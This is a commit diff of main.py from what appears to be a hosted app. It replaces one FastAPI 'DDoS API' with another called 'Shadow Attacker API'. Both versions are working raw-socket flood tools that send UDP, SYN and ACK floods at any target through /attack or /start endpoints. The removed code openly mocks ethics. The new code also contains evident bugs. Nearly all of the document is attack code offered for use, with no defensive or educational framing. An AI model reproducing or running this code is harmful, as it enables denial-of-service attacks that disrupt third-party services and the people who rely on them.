rkihacker commited on
Commit
9682c10
·
verified ·
1 Parent(s): 1e0cd06

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +219 -231
main.py CHANGED
@@ -1,240 +1,228 @@
1
- from fastapi import FastAPI, BackgroundTasks
2
- from fastapi.responses import JSONResponse
 
3
  import socket
4
  import struct
5
- import random
6
- import os
7
- import asyncio
8
- from typing import Optional
9
- import multiprocessing
10
-
11
- app = FastAPI(title="Niansuh DDoS API", description="Fuck ethics, flood everything.")
12
-
13
- # Global vars (because why not?)
14
- target = "127.0.0.1"
15
- port = 80
16
- threads = 100
17
- stop_event = multiprocessing.Event()
18
-
19
- def checksum(data: bytes) -> int:
20
- """RFC 1071 checksum (because we need to pretend this is legit)."""
21
- sum = 0
22
- for i in range(0, len(data), 2):
23
- if i + 1 < len(data):
24
- sum += (data[i] << 8) + data[i + 1]
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
25
  else:
26
- sum += data[i] << 8
27
- sum = (sum >> 16) + (sum & 0xFFFF)
28
- sum += sum >> 16
29
- return ~sum & 0xFFFF
30
-
31
- def pseudo_header(src_ip: str, dst_ip: str, proto: int, length: int) -> bytes:
32
- """Pseudo-header for TCP/UDP checksum (because raw sockets need love)."""
33
- src = socket.inet_aton(src_ip)
34
- dst = socket.inet_aton(dst_ip)
35
- return struct.pack(
36
- "!4s4sBBH",
37
- src,
38
- dst,
39
- 0, # Reserved
40
- proto,
41
- length,
42
- )
43
-
44
- def build_udp_packet(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
45
- """Build a raw UDP packet (because UDP is fire-and-forget)."""
46
- # IP Header
47
- ip_header = struct.pack(
48
- "!BBHHHBBH4s4s",
49
- 0x45, # Version/IHL
50
- 0x00, # ToS
51
- 20 + 8 + len(payload), # Total Length
52
- random.randint(0, 65535), # ID
53
- 0x0000, # Flags/Frag Offset
54
- 64, # TTL
55
- 17, # Protocol (UDP)
56
- 0, # Checksum (filled later)
57
- socket.inet_aton(src_ip),
58
- socket.inet_aton(dst_ip),
59
- )
60
- ip_checksum = checksum(ip_header)
61
- ip_header = ip_header[:10] + struct.pack("!H", ip_checksum) + ip_header[12:]
62
-
63
- # UDP Header
64
- udp_header = struct.pack(
65
- "!HHHH",
66
- src_port,
67
- dst_port,
68
- 8 + len(payload), # UDP Length
69
- 0, # Checksum (filled later)
70
- )
71
- udp_checksum = checksum(pseudo_header(src_ip, dst_ip, 17, 8 + len(payload)) + udp_header + payload)
72
- udp_header = udp_header[:6] + struct.pack("!H", udp_checksum) + udp_header[8:]
73
-
74
- return ip_header + udp_header + payload
75
-
76
- def build_tcp_packet(
77
- src_ip: str,
78
- dst_ip: str,
79
- src_port: int,
80
- dst_port: int,
81
- seq: int,
82
- ack: int,
83
- flags: int,
84
- ) -> bytes:
85
- """Build a raw TCP packet (because SYN floods are fun)."""
86
- # IP Header
87
- ip_header = struct.pack(
88
- "!BBHHHBBH4s4s",
89
- 0x45, # Version/IHL
90
- 0x00, # ToS
91
- 20 + 20, # Total Length (IP + TCP)
92
- random.randint(0, 65535), # ID
93
- 0x0000, # Flags/Frag Offset
94
- 64, # TTL
95
- 6, # Protocol (TCP)
96
- 0, # Checksum (filled later)
97
- socket.inet_aton(src_ip),
98
- socket.inet_aton(dst_ip),
99
- )
100
- ip_checksum = checksum(ip_header)
101
- ip_header = ip_header[:10] + struct.pack("!H", ip_checksum) + ip_header[12:]
102
-
103
- # TCP Header
104
- tcp_header = struct.pack(
105
- "!HHLLBBHHH",
106
- src_port,
107
- dst_port,
108
- seq,
109
- ack,
110
- (5 << 4), # Data Offset
111
- flags,
112
- 0xFFFF, # Window Size
113
- 0, # Checksum (filled later)
114
- 0, # Urgent Pointer
115
- )
116
- tcp_checksum = checksum(
117
- pseudo_header(src_ip, dst_ip, 6, 20) + tcp_header
118
- )
119
- tcp_header = tcp_header[:16] + struct.pack("!H", tcp_checksum) + tcp_header[18:]
120
-
121
- return ip_header + tcp_header
122
-
123
- def get_local_ip(dst_ip: str) -> str:
124
- """Get local IP for routing (because we need to spoof properly)."""
125
  try:
126
  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
127
- s.connect((dst_ip, 53)) # DNS port (because why not)
128
- local_ip = s.getsockname()[0]
129
  s.close()
130
- return local_ip
131
  except:
132
- return "0.0.0.0"
133
-
134
- def udp_flood(dst_ip: str, dst_port: int):
135
- """UDP flood (because why not drown the target?)."""
136
- local_ip = get_local_ip(dst_ip)
137
- if local_ip == "0.0.0.0":
138
- return
139
-
140
- sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
141
- payload = os.urandom(1200) # Random payload (because noise is good)
142
-
143
- while not stop_event.is_set():
144
- src_port = random.randint(1024, 65535)
145
- packet = build_udp_packet(local_ip, dst_ip, src_port, dst_port, payload)
146
- sock.sendto(packet, (dst_ip, 0)) # Port 0 because raw socket
147
-
148
- def udp_pps_flood(dst_ip: str, dst_port: int):
149
- """UDP PPS flood (because packets per second matter)."""
150
- local_ip = get_local_ip(dst_ip)
151
- if local_ip == "0.0.0.0":
152
- return
153
-
154
- sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
155
-
156
- while not stop_event.is_set():
157
- src_port = random.randint(1024, 65535)
158
- packet = build_udp_packet(local_ip, dst_ip, src_port, dst_port, b"")
159
- sock.sendto(packet, (dst_ip, 0))
160
-
161
- def syn_flood(dst_ip: str, dst_port: int):
162
- """SYN flood (because half-open connections are annoying)."""
163
- local_ip = get_local_ip(dst_ip)
164
- if local_ip == "0.0.0.0":
165
- return
166
-
167
- sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
168
-
169
- while not stop_event.is_set():
170
- src_port = random.randint(1024, 65535)
171
- seq = random.randint(0, 0xFFFFFFFF)
172
- packet = build_tcp_packet(local_ip, dst_ip, src_port, dst_port, seq, 0, 0x02) # SYN flag
173
- sock.sendto(packet, (dst_ip, 0))
174
-
175
- def ack_flood(dst_ip: str, dst_port: int):
176
- """ACK flood (because why not confuse the target?)."""
177
- local_ip = get_local_ip(dst_ip)
178
- if local_ip == "0.0.0.0":
179
- return
180
-
181
- sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
182
-
183
- while not stop_event.is_set():
184
- src_port = random.randint(1024, 65535)
185
- seq = random.randint(0, 0xFFFFFFFF)
186
- ack = random.randint(0, 0xFFFFFFFF)
187
- packet = build_tcp_packet(local_ip, dst_ip, src_port, dst_port, seq, ack, 0x10) # ACK flag
188
- sock.sendto(packet, (dst_ip, 0))
189
-
190
- def start_flood(flood_type: str, dst_ip: str, dst_port: int, num_threads: int):
191
- """Start the flood in background (because async is cool)."""
192
- stop_event.clear()
193
- processes = []
194
- for _ in range(num_threads):
195
- if flood_type == "udp":
196
- p = multiprocessing.Process(target=udp_flood, args=(dst_ip, dst_port))
197
- elif flood_type == "udp-pps":
198
- p = multiprocessing.Process(target=udp_pps_flood, args=(dst_ip, dst_port))
199
- elif flood_type == "syn":
200
- p = multiprocessing.Process(target=syn_flood, args=(dst_ip, dst_port))
201
- elif flood_type == "ack":
202
- p = multiprocessing.Process(target=ack_flood, args=(dst_ip, dst_port))
203
- else:
204
- return
205
- p.start()
206
- processes.append(p)
207
- return processes
208
-
209
- @app.post("/attack")
210
- async def attack(
211
- background_tasks: BackgroundTasks,
212
- flood_type: str = "udp",
213
- target: str = "127.0.0.1",
214
- port: int = 80,
215
- threads: int = 100,
216
- ):
217
- """Endpoint to start the attack (because why not expose it to the world?)."""
218
- global stop_event
219
- processes = start_flood(flood_type, target, port, threads)
220
-
221
- def stop_attack():
222
- stop_event.set()
223
- for p in processes:
224
- p.terminate()
225
-
226
- background_tasks.add_task(stop_attack)
227
- return JSONResponse(
228
- content={
229
- "status": "attack started",
230
- "type": flood_type,
231
- "target": f"{target}:{port}",
232
- "threads": threads,
233
- }
234
- )
 
 
 
 
 
 
 
 
 
 
 
 
235
 
236
  @app.post("/stop")
237
- async def stop():
238
- """Endpoint to stop the attack (because even criminals need a kill switch)."""
239
- stop_event.set()
240
- return JSONResponse(content={"status": "attack stopped"})
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import asyncio
2
+ import logging
3
+ import random
4
  import socket
5
  import struct
6
+ import threading
7
+ import time
8
+ from datetime import datetime
9
+ from typing import Dict, Optional
10
+ from threading import Lock
11
+
12
+ import uvicorn
13
+ from fastapi import FastAPI, HTTPException, BackgroundTasks
14
+ from pydantic import BaseModel
15
+
16
+ # Configure logging
17
+ logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
18
+ logger = logging.getLogger(__name__)
19
+
20
+ app = FastAPI(title="Shadow Attacker API")
21
+
22
+ # Global state (thread-safe)
23
+ attack_running = False
24
+ stop_events: Dict[str, threading.Event] = {}
25
+ counters: Dict[str, int] = {}
26
+ total_packets = 0
27
+ counters_lock = Lock()
28
+
29
+ class StartRequest(BaseModel):
30
+ target: str # e.g., "example.com" or "192.168.1.1"
31
+ port: Optional[int] = None
32
+ threads: int = 10
33
+ attack_type: str = "udp" # "syn", "ack", "udp", "udp_pps"
34
+
35
+ class StatusResponse(BaseModel):
36
+ running: bool
37
+ attack_id: Optional[str]
38
+ total_packets: int
39
+ counters: Dict[str, int]
40
+ logs: list
41
+
42
+ def checksum(msg: bytes) -> int:
43
+ """Calculate IP/TCP/UDP checksum."""
44
+ s = 0
45
+ for i in range(0, len(msg), 2):
46
+ if i + 1 < len(msg):
47
+ w = msg[i] << 8 | msg[i + 1]
48
+ else:
49
+ w = msg[i] << 8
50
+ s += w
51
+ while s >> 16:
52
+ s = (s & 0xFFFF) + (s >> 16)
53
+ return ~s & 0xFFFF
54
+
55
+ def pseudo_checksum(src_ip: bytes, dst_ip: bytes, proto: int, length: int) -> int:
56
+ """Pseudo header checksum for TCP/UDP."""
57
+ s = 0
58
+ # Source IP
59
+ s += (src_ip[0] << 8) + src_ip[1]
60
+ s += (src_ip[2] << 8) + src_ip[3]
61
+ # Dest IP
62
+ s += (dst_ip[0] << 8) + dst_ip[1]
63
+ s += (dst_ip[2] << 8) + dst_ip[3]
64
+ s += proto
65
+ s += length
66
+ while s >> 16:
67
+ s = (s & 0xFFFF) + (s >> 16)
68
+ return s
69
+
70
+ def resolve_target(host: str) -> bytes:
71
+ """Resolve target IP."""
72
+ try:
73
+ if ':' in host:
74
+ ip = socket.inet_aton(host)
75
  else:
76
+ ip = socket.inet_aton(socket.gethostbyname(host))
77
+ return ip
78
+ except:
79
+ raise ValueError(f"Invalid target: {host}")
80
+
81
+ def get_local_ip(dst_ip: bytes) -> bytes:
82
+ """Get local source IP for routing to dst."""
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
83
  try:
84
  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
85
+ s.connect((socket.inet_ntoa(dst_ip), 53))
86
+ src_ip = s.getsockname()[0]
87
  s.close()
88
+ return socket.inet_aton(src_ip)
89
  except:
90
+ return socket.inet_aton("0.0.0.0")
91
+
92
+ def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, total_len: int) -> bytes:
93
+ """Build IP header."""
94
+ ip = bytearray(20)
95
+ ip[0] = 0x45 # Version 4, IHL 5
96
+ ip[1] = 0x00 # TOS
97
+ struct.pack_into('!H', ip, 2, total_len)
98
+ struct.pack_into('!H', ip, 4, random.randint(1, 65535)) # ID
99
+ struct.pack_into('!H', ip, 6, 0x40) # Flags + Fragment offset
100
+ ip[8] = 64 # TTL
101
+ ip[9] = proto
102
+ struct.pack_into('!H', ip, 10, 0) # Checksum placeholder
103
+ ip[12:16] = src_ip
104
+ ip[16:20] = dst_ip
105
+ # Calculate IP checksum
106
+ ip_cs = checksum(bytes(ip))
107
+ struct.pack_into('!H', ip, 10, ip_cs)
108
+ return bytes(ip)
109
+
110
+ def build_tcp_header(src_port: int, dst_port: int, seq: int, ack: int, flags: int, length: int) -> bytes:
111
+ """Build TCP header (20 bytes)."""
112
+ tcp = bytearray(20)
113
+ struct.pack_into('!HH', tcp, 0, src_port, dst_port)
114
+ struct.pack_into('!II', tcp, 4, seq, ack)
115
+ tcp[12] = 0x50 # Data offset 5, reserved 0
116
+ tcp[13] = flags # Flags
117
+ struct.pack_into('!H', tcp, 14, 65535) # Window
118
+ struct.pack_into('!H', tcp, 16, 0) # Checksum placeholder
119
+ struct.pack_into('!H', tcp, 18, 0) # Urgent pointer
120
+ return bytes(tcp)
121
+
122
+ def build_udp_header(src_port: int, dst_port: int, length: int) -> bytes:
123
+ """Build UDP header (8 bytes)."""
124
+ udp = bytearray(8)
125
+ struct.pack_into('!HHHH', udp, 0, src_port, dst_port, length, 0) # Checksum placeholder
126
+ return bytes(udp)
127
+
128
+ def build_tcp_packet(src_ip: bytes, dst_ip: bytes, src_port: int, dst_port: int, seq: int, ack: int, flags: int) -> bytes:
129
+ """Build full TCP SYN/ACK packet."""
130
+ tcp_hdr = build_tcp_header(src_port, dst_port, seq, ack, flags, 20)
131
+ ip_hdr = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 40)
132
+ pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
133
+ tcp_cs = checksum(struct.pack('!H', pseudo) + tcp_hdr)
134
+ struct.pack_into('!H', tcp_hdr, 16, tcp_cs)
135
+ return ip_hdr + tcp_hdr
136
+
137
+ def build_udp_packet(src_ip: bytes, dst_ip: bytes, src_port: int, dst_port: int, payload: bytes) -> bytes:
138
+ """Build full UDP packet."""
139
+ udp_len = 8 + len(payload)
140
+ udp_hdr = build_udp_header(src_port, dst_port, udp_len)
141
+ ip_hdr = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, 28 + len(payload))
142
+ pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
143
+ udp_cs = checksum(struct.pack('!H', pseudo) + udp_hdr + payload)
144
+ struct.pack_into('!H', udp_hdr, 6, udp_cs)
145
+ return ip_hdr + udp_hdr
146
+
147
+ async def flood_worker(attack_id: str, dst_ip: bytes, src_ip: bytes, dst_port: int, payload: bytes, stop_event: threading.Event, attack_type: str):
148
+ """Worker thread for flooding."""
149
+ s = None
150
+ try:
151
+ s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
152
+ s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
153
+ while not stop_event.is_set():
154
+ src_port = random.randint(1024, 65535)
155
+ if attack_type == "syn":
156
+ pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port, random.randint(0, 2**32-1), 0, 0x02)
157
+ elif attack_type == "ack":
158
+ pkt = build_tcp_packet(src_ip, dst_ip, src_port, dst_port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10)
159
+ else: # udp or udp_pps
160
+ pkt = build_udp_packet(src_ip, dst_ip, src_port, dst_port, payload)
161
+ s.sendto(pkt, (socket.inet_ntoa(dst_ip), 0))
162
+ with counters_lock:
163
+ counters[attack_id] = counters.get(attack_id, 0) + 1
164
+ total_packets += 1
165
+ await asyncio.sleep(0.001) # Yield to event loop
166
+ except Exception as e:
167
+ logger.error(f"Worker error: {e}")
168
+ finally:
169
+ if s:
170
+ s.close()
171
+
172
+ def start_background_attack(req: StartRequest):
173
+ """Start attack in background threads."""
174
+ attack_id = f"{req.target}_{int(time.time())}"
175
+ stop_event = threading.Event()
176
+ stop_events[attack_id] = stop_event
177
+ dst_ip = resolve_target(req.target)
178
+ src_ip = get_local_ip(dst_ip)
179
+ dst_port = req.port or random.randint(1, 65535)
180
+ payload = b''.join(bytes([random.randint(0, 255)]) for _ in range(1200)) if req.attack_type == "udp" else b''
181
+ mutate = req.attack_type == "udp"
182
+
183
+ def run_threads():
184
+ threads = []
185
+ for _ in range(req.threads):
186
+ t = threading.Thread(target=lambda: asyncio.run(flood_worker(attack_id, dst_ip, src_ip, dst_port, payload, stop_event, req.attack_type)))
187
+ t.start()
188
+ threads.append(t)
189
+ for t in threads:
190
+ t.join()
191
+
192
+ thread = threading.Thread(target=run_threads)
193
+ thread.start()
194
+ logger.info(f"Started {req.attack_type} attack on {req.target}:{dst_port} with {req.threads} threads")
195
+ return attack_id
196
+
197
+ @app.post("/start")
198
+ async def start_attack(req: StartRequest, background_tasks: BackgroundTasks):
199
+ global attack_running
200
+ if attack_running:
201
+ raise HTTPException(status_code=400, detail="Attack already running")
202
+ attack_running = True
203
+ attack_id = start_background_attack(req)
204
+ return {"message": "Attack started", "attack_id": attack_id}
205
 
206
  @app.post("/stop")
207
+ async def stop_attack(attack_id: Optional[str] = None):
208
+ global attack_running
209
+ if attack_id:
210
+ stop_events.get(attack_id, threading.Event()).set()
211
+ del counters[attack_id]
212
+ else:
213
+ for ev in stop_events.values():
214
+ ev.set()
215
+ counters.clear()
216
+ attack_running = False
217
+ return {"message": "Attack stopped"}
218
+
219
+ @app.get("/status", response_model=StatusResponse)
220
+ async def get_status(attack_id: Optional[str] = None):
221
+ with counters_lock:
222
+ total = total_packets
223
+ cnts = {k: v for k, v in counters.items()} if not attack_id else {attack_id: counters.get(attack_id, 0)}
224
+ logs = [] # Fetch recent logs (simplified; in prod, use a queue or file)
225
+ return StatusResponse(running=attack_running, attack_id=attack_id, total_packets=total, counters=cnts, logs=logs)
226
+
227
+ if __name__ == "__main__":
228
+ uvicorn.run(app, host="0.0.0.0", port=8000)